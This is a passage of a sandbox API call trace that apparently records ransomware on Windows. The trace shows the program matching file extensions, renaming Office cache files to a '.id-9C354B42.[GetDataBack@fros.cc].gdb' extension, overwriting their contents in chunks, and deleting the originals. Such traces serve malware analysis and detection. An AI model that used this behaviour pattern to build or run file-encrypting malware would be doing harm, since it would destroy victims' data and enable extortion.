(lpString1=".dbf", lpString2=".cab") returned 1 [0125.214] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0125.214] lstrlenW (lpString=".1cd") returned 4 [0125.214] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0125.214] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0125.214] lstrlenW (lpString=".jpg") returned 4 [0125.214] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0125.214] lstrcmpiW (lpString1=".msi", lpString2=".gdb") returned 1 [0125.214] lstrlenW (lpString="OneNoteMUI.msi") returned 14 [0125.214] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0125.214] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=2503680) returned 1 [0125.214] CloseHandle (hObject=0x1b0) returned 1 [0125.215] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi")) returned 0x2020 [0125.215] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.215] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0125.215] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0125.215] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff894 | out: lpNewFilePointer=0x0) returned 1 [0125.215] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0125.215] ReadFile (in: hFile=0x1b0, lpBuffer=0x3450058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x3450058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0125.239] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0125.239] ReadFile (in: hFile=0x1b0, lpBuffer=0x3490058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x3490058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0125.247] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2aff894 | out: lpNewFilePointer=0xffffffff) returned 1 [0125.247] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0125.247] ReadFile (in: hFile=0x1b0, lpBuffer=0x34d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x34d0058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0125.616] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0125.616] WriteFile (in: hFile=0x1b0, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2aff8d8, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8d8*=0xc0108, lpOverlapped=0x0) returned 1 [0125.633] SetEndOfFile (hFile=0x1b0) returned 1 [0125.637] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0125.637] WriteFile (in: hFile=0x1b0, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0125.638] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0125.638] WriteFile (in: hFile=0x1b0, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0125.644] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0125.644] WriteFile (in: hFile=0x1b0, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0125.646] CloseHandle (hObject=0x1b0) returned 1 [0125.647] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0125.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0125.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0125.647] lstrlenW (lpString=".doc") returned 4 [0125.647] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0125.647] lstrlenW (lpString=".docx") returned 5 [0125.647] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0125.647] lstrlenW (lpString=".pdf") returned 4 [0125.647] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0125.647] lstrlenW (lpString=".xls") returned 4 [0125.647] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0125.647] lstrlenW (lpString=".xlsx") returned 5 [0125.647] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0125.647] lstrlenW (lpString=".ppt") returned 4 [0125.647] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0125.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0125.647] lstrlenW (lpString=".zip") returned 4 [0125.647] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0125.647] lstrlenW (lpString=".rar") returned 4 [0125.807] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0125.807] lstrlenW (lpString=".bz2") returned 4 [0125.807] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0125.807] lstrlenW (lpString=".7z") returned 3 [0125.807] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0125.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0125.807] lstrlenW (lpString=".dbf") returned 4 [0125.807] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0125.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0125.807] lstrlenW (lpString=".1cd") returned 4 [0125.807] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0125.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0125.808] lstrlenW (lpString=".jpg") returned 4 [0125.808] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0125.808] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0125.808] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0125.808] lstrlenW (lpString=".doc") returned 4 [0125.808] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0125.808] lstrlenW (lpString=".docx") returned 5 [0125.808] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0125.808] lstrlenW (lpString=".pdf") returned 4 [0125.808] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0125.808] lstrlenW (lpString=".xls") returned 4 [0125.808] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0125.808] lstrlenW (lpString=".xlsx") returned 5 [0125.808] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0125.808] lstrlenW (lpString=".ppt") returned 4 [0125.808] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0125.808] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0125.808] lstrlenW (lpString=".zip") returned 4 [0125.808] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0125.808] lstrlenW (lpString=".rar") returned 4 [0125.808] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0125.808] lstrlenW (lpString=".bz2") returned 4 [0125.808] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0125.808] lstrlenW (lpString=".7z") returned 3 [0125.808] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0125.808] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0125.808] lstrlenW (lpString=".dbf") returned 4 [0125.808] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0125.808] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0125.808] lstrlenW (lpString=".1cd") returned 4 [0125.808] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0125.808] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0125.808] lstrlenW (lpString=".jpg") returned 4 [0125.808] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0125.808] lstrcmpiW (lpString1=".cab", lpString2=".gdb") returned -1 [0125.808] lstrlenW (lpString="GrooveLR.cab") returned 12 [0125.808] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0125.809] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=4095519) returned 1 [0125.809] CloseHandle (hObject=0x1b0) returned 1 [0125.809] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab")) returned 0x2020 [0125.809] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.809] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0125.809] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0125.810] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff894 | out: lpNewFilePointer=0x0) returned 1 [0125.810] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0125.810] ReadFile (in: hFile=0x1b0, lpBuffer=0x3450058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x3450058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0125.851] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0125.852] ReadFile (in: hFile=0x1b0, lpBuffer=0x3490058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x3490058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0125.858] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2aff894 | out: lpNewFilePointer=0xffffffff) returned 1 [0125.858] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0125.858] ReadFile (in: hFile=0x1b0, lpBuffer=0x34d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x34d0058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0125.889] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0125.889] WriteFile (in: hFile=0x1b0, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2aff8d8, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8d8*=0xc0104, lpOverlapped=0x0) returned 1 [0125.936] SetEndOfFile (hFile=0x1b0) returned 1 [0125.942] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0125.942] WriteFile (in: hFile=0x1b0, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0125.944] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0125.944] WriteFile (in: hFile=0x1b0, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0125.946] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0125.946] WriteFile (in: hFile=0x1b0, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0125.948] CloseHandle (hObject=0x1b0) returned 1 [0125.948] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0125.948] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0125.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0125.949] lstrlenW (lpString=".doc") returned 4 [0125.949] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0125.949] lstrlenW (lpString=".docx") returned 5 [0125.949] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0125.949] lstrlenW (lpString=".pdf") returned 4 [0125.949] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0125.949] lstrlenW (lpString=".xls") returned 4 [0125.949] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0125.949] lstrlenW (lpString=".xlsx") returned 5 [0125.949] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0125.949] lstrlenW (lpString=".ppt") returned 4 [0125.949] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0125.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0125.949] lstrlenW (lpString=".zip") returned 4 [0125.949] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0125.949] lstrlenW (lpString=".rar") returned 4 [0125.949] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0125.949] lstrlenW (lpString=".bz2") returned 4 [0125.949] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0125.949] lstrlenW (lpString=".7z") returned 3 [0125.949] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0125.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0125.949] lstrlenW (lpString=".dbf") returned 4 [0125.949] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0125.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0125.949] lstrlenW (lpString=".1cd") returned 4 [0125.949] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0125.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0125.949] lstrlenW (lpString=".jpg") returned 4 [0125.949] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0125.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0125.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0125.949] lstrlenW (lpString=".doc") returned 4 [0125.949] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0125.949] lstrlenW (lpString=".docx") returned 5 [0125.949] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0125.949] lstrlenW (lpString=".pdf") returned 4 [0125.949] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0125.949] lstrlenW (lpString=".xls") returned 4 [0125.949] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0125.949] lstrlenW (lpString=".xlsx") returned 5 [0125.949] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0125.949] lstrlenW (lpString=".ppt") returned 4 [0125.950] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0125.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0125.950] lstrlenW (lpString=".zip") returned 4 [0125.950] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0125.950] lstrlenW (lpString=".rar") returned 4 [0125.950] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0125.952] lstrlenW (lpString=".bz2") returned 4 [0125.954] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0125.954] lstrlenW (lpString=".7z") returned 3 [0125.954] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0125.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0125.954] lstrlenW (lpString=".dbf") returned 4 [0125.954] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0125.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0125.954] lstrlenW (lpString=".1cd") returned 4 [0125.954] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0125.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0125.954] lstrlenW (lpString=".jpg") returned 4 [0125.954] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0125.955] lstrcmpiW (lpString1=".EXE", lpString2=".gdb") returned -1 [0125.955] lstrlenW (lpString="DW20.EXE") returned 8 [0125.955] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0126.030] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=838536) returned 1 [0126.030] CloseHandle (hObject=0x204) returned 1 [0126.030] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 0x2020 [0126.030] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0126.031] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0126.031] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0126.031] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0126.031] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0126.031] GetLastError () returned 0x0 [0126.031] ReadFile (in: hFile=0x204, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0xccb88, lpOverlapped=0x0) returned 1 [0126.050] WriteFile (in: hFile=0x214, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xccb90, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0xccb90, lpOverlapped=0x0) returned 1 [0126.655] ReadFile (in: hFile=0x204, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0x0, lpOverlapped=0x0) returned 1 [0126.655] WriteFile (in: hFile=0x214, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0xe4, lpOverlapped=0x0) returned 1 [0126.656] SetEndOfFile (hFile=0x214) returned 1 [0126.656] CloseHandle (hObject=0x214) returned 1 [0126.656] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0126.656] SetEndOfFile (hFile=0x204) returned 1 [0126.663] CloseHandle (hObject=0x204) returned 1 [0126.663] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0126.663] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 1 [0126.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0126.663] lstrlenW (lpString="C:\\MSOCache\\All 